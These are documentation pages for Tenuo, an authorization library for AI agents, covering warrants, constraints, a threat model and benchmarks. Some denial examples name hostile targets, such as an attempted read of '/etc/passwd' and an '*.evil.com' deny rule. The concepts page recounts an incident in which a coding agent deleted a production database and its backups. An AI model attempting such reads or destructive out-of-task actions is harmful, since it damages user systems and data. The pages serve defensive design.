authorization receipts are **opt-in**. Nothing is signed unless a `ControlPlaneClient` is constructed with a `receipt_sink` (or an explicit `receipt_emitter`). A configured sink never denies a tool call: authorization has already been decided. ```python from tenuo.control_plane import ControlPlaneClient from tenuo.receipts import InMemoryReceiptSink, JournalEmitter sink = InMemoryReceiptSink() client = ControlPlaneClient( url="https://cp.example", api_key=api_key, authorizer_name="payments-worker", receipt_sink=sink, # defaults to DeferredEmitter(sink, maxsize=256) ) # ... enforcement runs; receipts enqueue asynchronously ... assert client.flush_receipts() # wait for signing + delivery before reading for receipt_hex in sink.receipts: print(receipt_hex) ``` | Parameter | Default | Contract | |-----------|---------|----------| | `receipt_sink=` | unset (no receipts) | Wraps in `DeferredEmitter(sink, maxsize=256)`. ~0.5 µs on the hot path. A crash loses at most `maxsize` receipts. | | `receipt_emitter=JournalEmitter(path)` | — | Crash-durable posture. The receipt is in the page cache before `emit` returns. Readable by `tenuo receipt chain`. | | `flush_receipts(timeout=10.0)` | — | Blocks until every receipt emitted so far is signed and delivered. Returns `False` on timeout. Call this before reading an in-memory sink. | | `shutdown()` | — | Drains the deferred worker. | Trust binding is automatic when the `EnforcementResult` carries the `authorizer` that decided. Without that (or a prior `bind_authorizer()`), a configured sink warns once and emits nothing. Receipts cover decisions made over **presented, parseable authority**. A call with no warrant, or bytes that would not decode, stays in the audit stream. Inspect artifacts with `tenuo receipt verify` and `tenuo receipt chain`. Byte-exact vectors live in [test-vectors A.30](./spec/test-vectors.md#a30-authorization-receipts). --- ## Exceptions ```python from tenuo import TenuoError, ScopeViolation, AuthorizationDenied, ConfigurationError from tenuo.exceptions import UntrustedRoot, ToolNotAuthorized, ConstraintViolation ``` ### Exception Hierarchy ``` TenuoError (base) ├── ScopeViolation # Authorization scope exceeded │ ├── ToolNotAuthorized # error_type="tool_not_allowed" (not constraint_violation) │ ├── ConstraintViolation # argument failed a warrant constraint │ └── ... ├── ChainError │ └── UntrustedRoot # error_type="untrusted_issuer", wire 1406 / untrusted-root ├── ConstraintError # Invalid constraint definition └── ConfigurationError # Invalid configuration ``` `UntrustedRoot` is not a signature failure. Hosts that previously caught `SignatureInvalid` for a foreign issuer, or correlated receipts on `pop-signature-invalid`, must switch to `UntrustedRoot` / `error_type="untrusted_issuer"` / wire `1406`. A request for a tool the warrant does not grant is `tool_not_allowed` (`ToolNotAuthorized`), not `constraint_violation`. Argument mismatches stay `constraint_violation`. ### `AuthorizationDenied` (Diff-Style Errors) Authorization denied with detailed diff-style error messages showing exactly what failed. ```python from tenuo import AuthorizationDenied # Example error output: # Access denied for tool 'read_file' # # path: # Expected: Pattern("/data/*") # Received: '/etc/passwd' # Reason: Pattern does not match # size: OK ``` --- ## Audit Logging ```python from tenuo import audit_logger, AuditEventType ``` ### Methods | Method | Description | |--------|-------------| | `audit_logger.configure(service_name, output_file=None)` | Configure the logger | | `audit_logger.log(event)` | Log an `AuditEvent` directly | | `audit_logger.authorization_success(...)` | Log success event | | `audit_logger.authorization_failure(...)` | Log failure event | ### Example ```python audit_logger.configure(service_name="payment-service") audit_logger.authorization_success( warrant_id="wrt_123", tool="process_payment", constraints={"amount": 100.0} ) ``` --- ## Type Protocols For type hinting generic warrant operations: ```python from tenuo import ReadableWarrant, SignableWarrant, AnyWarrant ``` ### `ReadableWarrant` Protocol for objects with readable warrant properties: ```python from typing import Protocol class ReadableWarrant(Protocol): @property def id(self) -> str: ... @property def tools(self) -> list[str]: ... @property def ttl_remaining(self) -> timedelta: ... @property def is_expired(self) -> bool: ... @property def is_terminal(self) -> bool: ... ``` ### `SignableWarrant` Protocol for objects that can sign (delegate, create PoP): ```python class SignableWarrant(Protocol): def delegate(self, holder: PublicKey, ...) -> "Warrant": ... def headers(self, tool: str, args: dict) -> dict: ... ``` ### `AnyWarrant` Union type accepting both `Warrant` and `BoundWarrant`: ```python AnyWarrant = Union[Warrant, BoundWarrant] def process_warrant(w: AnyWarrant) -> None: print(w.id, w.tools) # Works for both types ``` --- ## Performance Benchmarks > **TL;DR:** A single `warrant_verify` runs in ~36 us on Apple M3 Max and ~45 us on Intel Sapphire Rapids (GCP `c3-standard-4`, AVX2 SIMD backend), dominated in both cases by `ed25519-dalek::verify_strict`. Policy evaluation itself is ~300 ns for a typical 2-constraint warrant, so over 99% of authorization latency is cryptography. Cheap denials (wrong tool, missing PoP) bail out in ~100 ns before touching crypto. Python callers add PyO3 marshalling on top of these Rust-core numbers. ### Methodology - **Tool**: [Criterion.rs](https://github.com/bheisler/criterion.rs) microbenchmarks measuring individual Rust operations in isolation. Throughput under contention and end-to-end per-request latency in your agent process are not measured here. - **Hardware**: primary measurements on Apple M3 Max (ARM64), single-threaded, on AC power with no active throttling. A second set of measurements on Intel Xeon Platinum 8481C (Sapphire Rapids, GCP `c3-standard-4`, dedicated vCPU) with `RUSTFLAGS="-C target-cpu=native --cfg curve25519_dalek_backend=\"simd\""` is listed inline where relevant. Re-run on your target hardware before quoting. - **Crypto primitive**: `ed25519-dalek::verify_strict`, which rejects small-order R points and non-canonical s scalars to close signature malleability and cofactor-attack gaps that default `verify` leaves open. This is the security-preserving choice and it sets the floor for every verification number on this page. - **Hardware backend**: on `aarch64`, `curve25519-dalek` 4.1.3 uses its serial `u64` backend. On `x86_64` with `--cfg curve25519_dalek_backend="simd"`, it uses an AVX2 SIMD backend. The AVX2 path is only a few percent faster than `u64` at equivalent clocks; curve25519-dalek 4.1.3 does not yet ship an AVX512-IFMA backend, so at typical cloud clock speeds (`c3` ~2.7-3.5 GHz) x86 hosts measure slightly slower than an M3 Max (~4.0 GHz boost). Expect the x86 picture to improve once the IFMA backend lands upstream. - **Measured at**: commit `ac76821f`, April 2026. Numbers drift commit-to-commit. - **Python users**: Rust-core numbers only. The `tenuo` Python SDK adds PyO3 marshalling on every call. Measure your actual decorator or adapter path when capacity-planning. ### The Hot Path (Verification + Authorization) This runs on every tool call. | Operation | Time (mean) | Description | |-----------|-------------|-------------| | `warrant_verify` | **~36 us** | Ed25519 signature check + TTL validation | | `warrant_authorize` | **~36 us** | Constraint evaluation + PoP verification (benchmark uses 2 Pattern constraints; additional constraints add at most a few μs each) | | **Total** | **~72 us** | Verify + authorize with PoP, back-to-back | ### Policy Evaluation Without Crypto `Warrant::check_constraints` runs exactly the policy portion of `authorize` (tool-name lookup + full `ConstraintSet::matches` over every constraint on the warrant) with no signature verification. This is what your authorization logic would cost if cryptography were free. We publish two numbers. The *primitive ceiling* is a lower bound measured with a single constraint type and stable inputs. The *realistic warrant* is a representative production shape and is what you should cite when comparing against other authorization engines. **Primitive ceiling** (sweep of simple `Pattern` constraints, happy path, stable inputs): | Constraints on warrant | Time (mean) | Notes | |------------------------|-------------|-------| | 1 Pattern | **~126 ns** | Tool lookup + single regex match | | 2 Patterns | **~236 ns** | Same shape as `warrant_authorize` benchmark above | | 5 Patterns | **~537 ns** | ~130 ns marginal per added Pattern constraint | | 10 Patterns | **~1.32 us** | Still well under 5% of a single Ed25519 verify | **Realistic warrant** (6 distinct constraint types: `Exact` + `Pattern` + `Range` + `Cidr` + `UrlPattern` + `Subpath`, inputs rotated across iterations so regex and IP-parsing caches can't fully warm): | Path | Time (mean) | Notes | |------|-------------|-------| | `mixed_allow` (all 6 constraints match) | **~1.34 us** | Representative policy-only cost for a production-shaped warrant | | `mixed_deny` (one constraint fails) | **~894 ns** | Short-circuits on first failing constraint | Two implications for policy authors: 1. **Stack constraints freely.** Even the heavy mixed warrant is under ~1.4 us, well below 5% of a single Ed25519 verify. Adding defensive constraints costs nothing measurable at the authorization layer. 2. **The only meaningful optimization lever is the crypto path.** Two levers actually move the number: batch verification via `dalek::verify_batch` for multi-link chains (already how `verify_chain` runs), and a pre-verified warrant cache (trades determinism for throughput, with careful revocation handling). Policy engines don't have these tradeoffs; they're already primitive-bounded. ### Comparison to Cedar and OPA Pure policy-evaluation time for comparable workloads. Cedar numbers are from the [Cedar OOPSLA 2024 paper](https://arxiv.org/abs/2403.04651) and the [AWS Security Blog](https://aws.amazon.com/blogs/security/how-we-designed-cedar-to-be-intuitive-to-use-fast-and-safe/). OPA numbers are from the [official OPA Policy Performance docs](https://www.openpolicyagent.org/docs/policy-performance/) and reproducible via `opa bench`. | Engine | Workload | Policy-only time | Includes crypto verification? | |--------|----------|------------------|-------------------------------| | Cedar | Google Drive model (5 to 50 entities) | ~4 to 5 us median | No | | Cedar | GitHub-like model | ~11 us median | No | | OPA | Simple RBAC (`opa bench`) | ~14 us mean, ~30 us p99 | No | | **Tenuo** | **Realistic 6-constraint warrant** | **~1.34 us** | **Yes (adds ~36 us Ed25519 verify on top)** | Two things to notice: 1. **On pure policy evaluation, Tenuo runs roughly 3 to 4 times faster than Cedar's best published case and about 10 times faster than OPA.** This is partly because our constraint primitives (`Pattern`, `Range`, `Cidr`, `Subpath`, `UrlPattern`, `UrlSafe`) are tighter and more specialized than Cedar's general expression language or Rego's Datalog-style evaluation. It is not a claim we generalize: Cedar and OPA are more expressive policy languages and pay for that expressiveness in evaluation cost. 2. **Tenuo additionally runs a full Ed25519 signature verification on every call** (~36 us on this hardware, tracking the `ed25519-dalek::verify_strict` primitive). Cedar and OPA do not: they assume the caller has been authenticated separately, typically via a network round-trip to an identity or session service. When you add a realistic external auth check to Cedar or OPA, the end-to-end authorization latency is usually comparable to or higher than Tenuo's all-in number. ### Denial Performance Cheap denials matter because they bound the cost of adversarial traffic. Two of the four denial paths bail before touching crypto; the other two run a full signature verification first and therefore cost roughly the same as a successful authorization. | Denial Type | Time (mean) | Code Path | |-------------|-------------|-----------| | Wrong tool | **~113 ns** | Early rejection on tool name lookup | | Missing PoP | **~72 ns** | Absent-signature short-circuit | | Constraint violation (valid PoP) | **~36 us** | Full PoP verify, then constraint match fails | | Invalid PoP | **~185 us** | Signature verification path (includes PoP-clock-window retries), then reject | Unauthenticated or malformed requests fail almost for free. An attacker who can forge well-formed PoP candidates pays authorization-level cost per attempt, so network-layer rate limiting remains your primary defense against crypto-grinding DoS. ### Control Plane (Issuance) | Operation | Time (mean) | Description | |-----------|-------------|-------------| | `warrant_create_minimal` | **~17 us** | Ed25519 signing (minimal warrant) | | `warrant_create_with_constraints` | **~20 us** | Warrant with Pattern + Range constraints | | `warrant_attenuate` | **~18 us** | Parent verification + child signing | ### Wire Format | Operation | Time (mean) | Description | |-----------|-------------|-------------| | `wire_encode` | **~161 ns** | Serialization to CBOR binary format | | `wire_decode` | **~44 us** | Deserialization from CBOR (includes canonicalization checks) | | `wire_encode_base64` | **~300 ns** | CBOR + Base64 encoding | | `wire_decode_base64` | **~47 us** | Base64 + CBOR decoding | ### Delegation Depth Two separate costs scale with delegation depth. Do not conflate them. **Chain verification** (`chain_verify/distinct_keys/depth_N`) is the hot-path cost: what a gateway or authorizer pays on every call when handed a pre-built chain of length N, built with a distinct signing keypair at every link to match a realistic delegation topology. Linear in depth. | Chain Depth | Verification Time | Notes | |-------------|-------------------|-------| | 1 | **~34 us** | Single warrant: signature + TTL + root-trust + revocation cache lookup | | 4 | **~156 us** | Short chain (issuer to orchestrator to worker) | | 8 | **~324 us** | Multi-team delegation (platform to service owner to subagent to tool) | | 12 | **~489 us** | Representative deep multi-agent topology with cross-team hand-offs | | 16 | **~651 us** | Deep multi-tenant fan-out with per-step attenuation | | 32 | **~1.30 ms** | Stress test territory | | 64 (`MAX_DELEGATION_DEPTH`) | **~2.63 ms** | Protocol ceiling | Marginal cost per additional link is roughly ~42 us on this hardware profile (dominated by the per-link Ed25519 check plus linkage/monotonicity validation). We observe production deployments settling in the **depth 4 to 12 range**. Shallow chains (2 to 4) are common for single-team agents, but realistic multi-agent topologies routinely reach 8 to 12: control plane to orchestrator to planner to researcher to retriever to tool, often with cross-team hand-offs along the way. Verification cost across this band stays under ~0.5 ms per call, still an order of magnitude below typical network round-trips. **Chain construction** (`delegation_chain_depth_8` ≈ ~140 us for one root + eight attenuations ≈ ~16 us per `attenuate + build`) is a control-plane-side cost, paid when *minting* a delegated warrant rather than when handling a tool call. Listed here only so readers don't misread construction numbers as hot-path numbers. ### Run It Yourself ```bash git clone https://github.com/tenuo-ai/tenuo cd tenuo/tenuo-core cargo bench --bench warrant_benchmarks ``` Full benchmark source: [`warrant_benchmarks.rs`](https://github.com/tenuo-ai/tenuo/blob/main/tenuo-core/benches/warrant_benchmarks.rs). --- ## See Also - [AI Agent Patterns](./ai-agents) - P-LLM/Q-LLM, prompt injection defense - [Constraints](./constraints) - Constraint types, argument extraction, gateway configuration - [Security](./security) - Threat model and protections - [Examples](https://github.com/tenuo-ai/tenuo/tree/main/tenuo-python/examples) - Python usage examples --- # Give agents authority for the task, not the lifetime of the process. Source: https://tenuo.ai/concepts > AI agents can authenticate correctly, stay inside IAM policy and still take an action that does not belong to the task in front of them. Tenuo adds that missing boundary. ## The gap between access and intent Existing controls answer important questions. Identity proves who is acting. IAM and RBAC set the maximum that principal may do. Guardrails shape model behavior. Gateways decide which tools are reachable. None of those controls, by itself, says what this agent may do **for this task**. Consider a remediation agent handling incident `INC-812`. Its service account may be allowed to write every incident. The task only needs to update the severity and assign an owner on one incident for the next fifteen minutes. Both statements can be true: - The principal is permitted to make the call. - The call does not belong to this task. That gap is where an incorrect plan, prompt injection or an over-broad delegation becomes a production action. ## Why teams hold agents back The practical response is rational: keep agents read-only, add a human before every consequential step, or do not ship the workflow at all. The underlying authority is often: - **Broader than the task.** One customer record requires access to a table, or one deployment requires permission across a service. - **Longer-lived than the task.** A credential used for a fifteen-minute job remains valid after the job ends. - **Passed downstream whole.** When one agent delegates, the next agent inherits the same access even when it needs less. Tenuo does not ask teams to replace those controls. It uses them as the ceiling and narrows authority to the work being performed. ## What a warrant changes A warrant is a signed, task-scoped authorization object. It names the permitted tools and arguments, who may use it, how long it lasts and whether it may be delegated.
Five properties make the boundary useful in production: 1. **Task-bound:** only the actions, resources, limits and lifetime the task requires. 2. **Holder-bound:** bound to the intended agent's key, so copying the warrant is not enough to use it. 3. **Delegation-safe:** downstream authority can narrow, but it cannot widen. 4. **Independently verifiable:** checked where the action runs without trusting the agent that requested it. 5. **Auditable by default:** every authorization decision can produce a signed receipt. The agent keeps its long-lived identity. Authority arrives with the task and expires with it. ## How each action is checked 1. A trusted issuer creates a warrant for the task. 2. The agent presents it when calling a tool. 3. Tenuo verifies the signature, expiration, holder proof, tool permission and argument constraints locally. 4. An allowed call reaches the tool. Anything outside the warrant is denied before execution. Verification is local and stateless, so the Tenuo Cloud control plane is not in the path of an action. When work moves to another agent, delegation creates a narrower child warrant with a cryptographically verifiable lineage. ## How Tenuo fits with existing controls Tenuo does not replace identity, IAM, policy engines or the credentials used to reach a target system. Those controls establish who is acting, the maximum authority available and how access is delivered. Tenuo narrows that authority to the task. | Existing control | What it answers | How Tenuo works with it | |---|---|---| | Identity and authentication | Who is acting? | Binds task authority to its intended holder, so a copied warrant is not enough to use it. | | IAM, RBAC and application authorization | What may this principal do at most? | Issues narrower, task-specific authority within that ceiling without changing the principal's permissions. | | Policy engines | Under what conditions should authority be available? | Keeps policy as the ceiling and carries the task's authority to the enforcement point. | | OAuth, JIT and short-lived credentials | How does this principal reach the target system? | Keeps that access path and adds task provenance, holder binding and narrowing delegation. | For deployment boundaries and bypass resistance, see [Enforcement architecture](./enforcement). ## A real failure of task authority In April 2026, a coding agent at PocketOS was working in staging when it found a token with blanket authority across its hosting provider's API. It chose volume deletion as a fix for a credential error. Nine seconds later, the production database and every backup were gone. The agent was authenticated, and the token permitted the call. The missing boundary was the task: managing a staging credential did not require deleting a production volume. [Read the incident, control by control →](/faq/pocketos-incident) --- ## Core invariants Tenuo enforces these invariants: 1. **Mandatory proof of possession:** warrant use requires proof that the caller holds the corresponding private key. 2. **Task-scoped authority:** authority is carried by warrants, not inherited from process identity. 3. **Stateless verification:** checks run locally at authorization time. 4. **Monotonic attenuation:** child scope is a subset of parent scope. 5. **Self-contained tokens:** warrants carry the data needed for verification. 6. **Fail-closed constraints:** unknown constraint types are rejected; unknown arguments are rejected in constrained mode unless explicitly allowed. ## Threat Model ### What Tenuo Protects Against - Prompt injection impact via least privilege - Confused deputy behavior (tool misuse outside scope) - Warrant theft without private key (PoP binding) - Stale authority (TTL expiration) - Privilege escalation in delegation chains - Replay outside the PoP validity window ### What Tenuo Does Not Protect Against These are threats that Tenuo's authorization layer alone does not cover. Each one has a deployment-level mitigation: | Threat | In-Process | Sidecar/Gateway | Mitigation | |--------|------------|-----------------|------------| | Agent process compromise (RCE) | Not covered (attacker shares the trust boundary) | Covered (enforcement runs in a separate process; compromised agent cannot bypass it) | Deploy sidecar or gateway enforcement | | Malicious tool implementation | Not covered at any layer (Tenuo verifies authorization, not tool correctness) | Same | Code review, sandboxing, tool isolation | | Compromised root issuer | Not covered (a compromised issuer can mint arbitrary warrants) | Same | Secure the control plane; rotate keys; use short-lived root warrants | | Traffic bypassing enforcement | Not covered if raw tool endpoints are exposed | Covered (network policy routes all traffic through the sidecar/gateway) | Network controls, service mesh, deny direct tool access | The in-process model is sufficient for trusted single-process deployments. For stronger isolation, add a sidecar or gateway so that enforcement survives agent compromise. See [Enforcement Architecture](./enforcement) for deployment patterns. --- ## Key Concepts ### Warrants A warrant is a self-contained capability token specifying tools, argument constraints, holder, expiration, and signatures. ``` WARRANT id: "wrt_abc123" (display format; wire is UUID) tools: ["search", "read_file"] constraints: path: Pattern("/data/project-alpha/*") max_results: Range(min=1, max=100) ttl_seconds: 300 holder: signature: ``` ### Proof-of-Possession (PoP) Warrants are bound to keypairs. A stolen warrant token alone is insufficient; the caller must produce a valid PoP signature with the holder private key. ### Warrant Types | Type | Can Execute? | Can Delegate? | Typical Use | |------|--------------|---------------|-------------| | Execution | Yes | Yes (if `depth < max_depth`) | Workers, execution nodes | | Issuer | No | Yes (if `depth < max_depth`) | Planners, orchestrators, issuer services | When `depth >= max_depth`, the warrant is terminal and cannot delegate further. ### Monotonic Attenuation Delegation can only narrow: | Dimension | Rule | |-----------|------| | Tools | Child tools must be a subset of parent tools | | Constraints | Child constraints must be tighter or equivalent | | TTL | Child cannot outlive parent | | Depth | `max_depth` can only decrease | ### Stateless Verification Authorization is performed where the action is requested. No central online decision service is required at request time. ### Zero-Touch Provisioning Verifiers do not need per-worker onboarding. They trust one or more configured root issuer public keys and validate warrant chains from those roots. - **Authorizer config**: needs trusted root issuer public key(s) - **Worker identity**: carried in the warrant holder field - **Trust flow**: root issuer trusts delegator, delegator trusts worker This supports elastic worker scaling without provisioning each worker identity into the verifier. --- ## Deployment Models Tenuo can enforce at multiple points, and every model verifies the same warrant semantics. | Model | Where It Runs | Additional Coverage | Trust Boundary | |-------|---------------|---------------------|----------------| | In-Process | Inside agent runtime | Fastest integration, framework-native checks | Agent process | | Sidecar | Separate container in same pod | Agent process compromise (RCE) | Pod network | | Gateway | Ingress or service mesh (`ext_authz`) | Centralized multi-service policy | Gateway | | MCP Proxy | Between agent and MCP server | Unauthorized MCP tool access | Proxy | | A2A | Between agents | Bounded inter-agent delegation | Receiving agent | Models compose for defense in depth. For deployment diagrams and operational guidance, see [Enforcement Architecture](./enforcement). ## Constraint Layer Warrants constrain arguments, not only tool names: ```python url = UrlSafe(allow_domains=["api.github.com"], deny_domains=["*.evil.com"]) path = Subpath("/data/reports") cmd = Shlex(allow=["npm", "docker"]) model = OneOf(["gpt-4o", "gpt-4o-mini"]) max_tokens = Range(0, 1000) ``` Built-in constraints cover values, ranges, paths, URLs, shells, CIDRs, regex, and composable logic (`All`, `AnyOf`, `Not`). Delegation must tighten constraints, and unrecognized constraint types fail closed. See [Constraints](./constraints) for the complete reference. --- ## How Tenuo compares | | Tenuo | Token-Based IAM | LLM Guardrails | |---|-------|-----------------|----------------| | Granularity | Per-tool and per-argument | Per-identity | Per-prompt | | Delegation | Monotonic, cryptographically chained | Static roles | Not applicable | | Authorization latency | Local and stateless | Auth service dependency | LLM inference dependency | | Tamper resistance | Signature + PoP | Bearer-token style risk | No cryptographic enforcement | | Auditability | Cryptographic delegation lineage | Log-based | Limited | | Runtime targets | Native and WASM | Usually server-only | Usually server-only | Stateless verification improves horizontal scalability. Shared Rust core plus WASM support enables consistent behavior across server, edge, and browser-capable runtimes. --- ## Relationship to CaMeL Tenuo implements the capability enforcement primitive described in [Defeating Prompt Injections by Design](https://arxiv.org/abs/2503.18813) (CaMeL). | CaMeL Concept | Tenuo Implementation | |---------------|----------------------| | Capability token | Warrant | | Interpreter check | Authorizer | | Planner-issued authority | Issuer or root warrant | | Worker-held authority | Execution warrant | CaMeL is the architecture; Tenuo is the authorization primitive. See [Related Work](./related-work) for comparisons with FIDES, Biscuit, Macaroons, UCAN, and delegation-focused work. ## Relationship to IETF AATs The [Attenuating Authorization Tokens](https://datatracker.ietf.org/doc/draft-niyikiza-oauth-attenuating-agent-tokens/01/) Internet-Draft standardizes OAuth-oriented **task-scoped tokens**, **holder-driven attenuation**, and **offline chain verification** for agent delegation. The approach is conceptually aligned with warrants (tool constraints, monotonic narrowing, PoP at enforcement). For a readable walkthrough and mapping to agent-security gaps, see the [AAT draft summary](./aat-ietf-summary). ## Scope Boundaries ### Tenuo Owns - Warrant format and verification - Constraint evaluation - Attenuation enforcement - Delegation chain validation - PoP verification ### Tenuo Does Not Own - Task decomposition or orchestration strategy - Data-flow/taint tracking - Authentication and user identity systems - Business logic inside tools - Prompt attack detection models --- ## Summary Tenuo binds authority to tasks, verifies warrants locally, requires proof-of-possession, and enforces monotonic attenuation across delegation chains. It limits the blast radius of prompt injection and confused deputy failures by making unauthorized tool actions cryptographically non-executable. **Identity is long-lived; authority is short-lived and task-scoped.** ## Next Steps - [Quick Start](/quickstart/): Installation, first warrant, choosing your integration - [AI Agent Patterns](./ai-agents): P-LLM/Q-LLM, prompt injection containment - [Enforcement Architecture](./enforcement): Deployment models and proxy configurations - [Constraints](./constraints): Full constraint catalog, argument extraction, gateway config - [Security](./security): Operational security, key management, best practices - [API Reference](./api-reference): Python SDK, CLI, and performance benchmarks - [Protocol Specification](./spec/protocol-spec-v1): Wire format and verification semantics - [Related Work](./related-work): Research context and comparisons - [AAT draft summary](./aat-ietf-summary): IETF attenuating OAuth tokens for agents (vs. warrants) --- # Tenuo Constraints Source: https://tenuo.ai/constraints > How to use constraints to scope authority precisely. --- ## Overview Constraints are key-value pairs that restrict what a warrant authorizes. When a tool is invoked, Tenuo checks that the arguments satisfy the warrant's constraints. ```python from tenuo import Warrant, Subpath, Pattern, Range, guard # Create warrant with per-tool constraints warrant = (Warrant.mint_builder() .capability("read_file", path=Subpath("/data"), max_size=Range.max_value(1000)) .holder(worker_pubkey) .ttl(3600) .mint(key)) # Tool invocation checks constraints @guard(tool="read_file") def read_file(path: str): # This code only runs if path matches the warrant constraint with open(path) as f: return f.read()[:1000] ``` --- ## Closed-World Mode (Trust Cliff) When you define **any** constraint on a tool, Tenuo activates **closed-world mode** for that capability: arguments not explicitly constrained are **rejected by default**. This is a security feature - once you start defining what's allowed, Tenuo assumes you want strict enforcement. ### The Trust Cliff | Constraint State | Behavior | |------------------|----------| | **No constraints** (empty) | OPEN: Any arguments allowed | | **≥1 constraint defined** | CLOSED: Unknown arguments rejected | | **`_allow_unknown=True`** | Explicit opt-out from closed-world | ### Example ```python from tenuo import Warrant, Pattern # One constraint - unknown fields rejected warrant = (Warrant.mint_builder() .capability("api_call", url=Pattern("https://api.example.com/*")) .holder(key.public_key) .ttl(3600) .mint(key)) # This FAILS - 'timeout' is not in the constraint set api_call(url="https://api.example.com/v1", timeout=30) # Error: "unknown field not allowed (zero-trust mode)" ``` ### Opt-Out with `_allow_unknown` Use `_allow_unknown=True` to explicitly allow unconstrained fields: ```python # Opt-out: allow unknown fields warrant = (Warrant.mint_builder() .capability("api_call", url=Pattern("https://api.example.com/*"), _allow_unknown=True) .holder(key.public_key) .ttl(3600) .mint(key)) # This SUCCEEDS - 'timeout' is allowed through api_call(url="https://api.example.com/v1", timeout=30) ``` ### Explicitly Allow Specific Fields Use `Wildcard()` to allow any value for a specific field while keeping closed-world mode: ```python from tenuo import Warrant, Pattern, Wildcard # Constrain 'url', allow any 'timeout', reject other unknown fields warrant = (Warrant.mint_builder() .capability("api_call", url=Pattern("https://api.example.com/*"), timeout=Wildcard()) # Any value OK .holder(key.public_key) .ttl(3600) .mint(key)) # ALLOWED - both fields are constrained api_call(url="https://api.example.com/v1", timeout=30) # BLOCKED - 'retries' is unknown api_call(url="https://api.example.com/v1", timeout=30, retries=3) ``` > [!IMPORTANT] > **`_allow_unknown` is NOT inherited during attenuation.** > > When you delegate (attenuate) a warrant, the child defaults to closed-world mode even if the parent had `_allow_unknown=True`. This prevents privilege escalation through delegation. > > ```python > # Parent: open to unknown fields > parent = (Warrant.mint_builder() > .capability("api_call", > url=Pattern("https://*"), > _allow_unknown=True) > .mint(key)) > > # Child: defaults to closed (even though parent was open) > child = (parent.grant_builder() > .capability("api_call", > url=Pattern("https://api.example.com/*")) > .grant(key)) > > # Child CANNOT enable _allow_unknown if parent had it disabled > # This would fail: child cannot be more permissive than parent > ``` --- ## Constraint Types ### Wildcard Matches anything. The universal superset that can be attenuated to any other constraint type. ```python from tenuo import Wildcard # Allows any value Wildcard() ``` **Use case:** Root warrants that grant broad authority, which can be narrowed later. ```python # Parent: any query with mint(Capability("search", query=Wildcard())): ... # Child: narrowed to specific pattern with grant(Capability("search", query=Pattern("*public*"))): ... ``` **Security**: Wildcard can only appear in root warrants. Attenuating to Wildcard is blocked (would re-widen authority). > [!NOTE] > `Wildcard()` is different from `Pattern("*")`. See the [Pattern section below](#pattern-glob) for details. --- ### Pattern (Glob) Matches strings against Unix shell-style glob patterns. ```python from tenuo import Pattern # Suffix wildcard - matches paths starting with /data/ Pattern("/data/*") # Prefix wildcard - matches emails ending with @company.com Pattern("*@company.com") # Middle wildcard - matches specific file in any subdirectory Pattern("/data/*/config.yaml") # Single character - matches file1.txt, fileA.txt, etc. Pattern("file?.txt") # Character class - matches env-prod, env-staging, env-dev Pattern("env-[psd]*") # Exact match (no wildcard) Pattern("specific-value") ``` **Supported Glob Syntax:** | Syntax | Description | Example | |--------|-------------|---------| | `*` | Matches any characters (including none) | `staging-*` matches `staging-web` | | `?` | Matches exactly one character | `file?.txt` matches `file1.txt` | | `[abc]` | Matches any character in set | `[psd]*` matches `prod`, `staging`, `dev` | | `[!abc]` | Matches any character NOT in set | `[!0-9]*` matches non-numeric start | **Examples by Wildcard Position:** | Pattern | Value | Match? | Description | |---------|-------|--------|-------------| | `/data/*` | `/data/file.txt` | Yes | Suffix wildcard | | `/data/*` | `/etc/passwd` | No | Wrong prefix | | `*@company.com` | `cfo@company.com` | Yes | Prefix wildcard | | `*@company.com` | `hacker@evil.com` | No | Wrong suffix | | `/data/*/file.txt` | `/data/reports/file.txt` | Yes | Middle wildcard | | `/data/*/file.txt` | `/data/reports/other.txt` | No | Filename mismatch | | `file?.txt` | `file1.txt` | Yes | Single char wildcard | | `file?.txt` | `file12.txt` | No | Too many chars | > [!IMPORTANT] > **Distinction: `Wildcard()` vs `Pattern("*")` vs `"*"`** > > These three are **NOT** the same: > > 1. **`Wildcard()`** - Universal constraint that can be attenuated to *any* other constraint type (Pattern, Exact, Range, etc.) > 2. **`Pattern("*")`** - A glob pattern that matches any string, but can only be attenuated to other patterns or Exact > 3. **`"*"` (string literal)** - Just a regular string value that happens to contain an asterisk > > ```python > # Flexible: Wildcard can become anything > with mint(Capability("search", query=Wildcard())): > with grant(Capability("search", query=Pattern("/data/*"))): # OK > ... > with grant(Capability("search", query=Range.max_value(100))): # OK > ... > > # Limited: Pattern can only narrow to other patterns or exact values > with mint(Capability("search", query=Pattern("*"))): > with grant(Capability("search", query=Pattern("/data/*"))): # OK (simple prefix) > ... > with grant(Capability("search", query=Exact("specific"))): # OK > ... > with grant(Capability("search", query=Range.max_value(100))): # FAILS - Type mismatch > ... > ``` > > **Best Practice**: Use `Wildcard()` in root warrants for maximum flexibility. Use `Pattern("*")` only if you specifically need glob matching semantics. > > **Attenuation Rules for Pattern**: > - **Suffix wildcard** patterns (`/data/*`) can narrow to longer prefixes (`/data/reports/*`) > - **Prefix wildcard** patterns (`*@company.com`) can narrow to exact values (`cfo@company.com`) > - Patterns can always narrow to `Exact()` if the value matches the pattern > - Complex patterns with multiple wildcards can be narrowed if contained within parent --- ### Exact Matches exactly one value. ```python from tenuo import Exact # Only allows "production" Exact("production") # Only allows this specific ID Exact("user-12345") ``` --- ### OneOf Matches any value in a set. ```python from tenuo import OneOf # Allows any of these environments OneOf(["staging", "production", "dev"]) # Allows specific actions OneOf(["read", "list"]) ``` --- ### Range Constrains numeric values to a range. ```python from tenuo import Range # 0 to 100 (inclusive) Range(min=0, max=100) # At most 1000 Range.max_value(1000) # At least 10 Range.min_value(10) ``` > [!WARNING] > **Precision Limit**: Bounds are stored as 64-bit floats. Integers larger than 2^53 (9,007,199,254,740,992) will lose precision. > > **For Snowflake IDs or large 64-bit integers**, use `Exact` or `Pattern` constraints on their string representation instead. Do not use `Range` for values > 2^53. **Examples:** | Range | Value | Match? | |-------|-------|--------| | `Range.max_value(100)` | `50` | Yes | | `Range.max_value(100)` | `150` | No | | `Range(min=10, max=50)` | `25` | Yes | | `Range(min=10, max=50)` | `5` | No | --- ### Cidr Constrains IP addresses to a network range using CIDR notation. Supports both IPv4 and IPv6. ```python from tenuo import Cidr # IPv4 networks Cidr("10.0.0.0/8") # 10.x.x.x Cidr("192.168.0.0/16") # 192.168.x.x Cidr("192.168.1.0/24") # 192.168.1.x # IPv6 networks Cidr("2001:db8::/32") ``` **Examples:** | Cidr | IP | Match? | |------|-----|--------| | `Cidr("10.0.0.0/8")` | `"10.1.2.3"` | Yes | | `Cidr("10.0.0.0/8")` | `"192.168.1.1"` | No | | 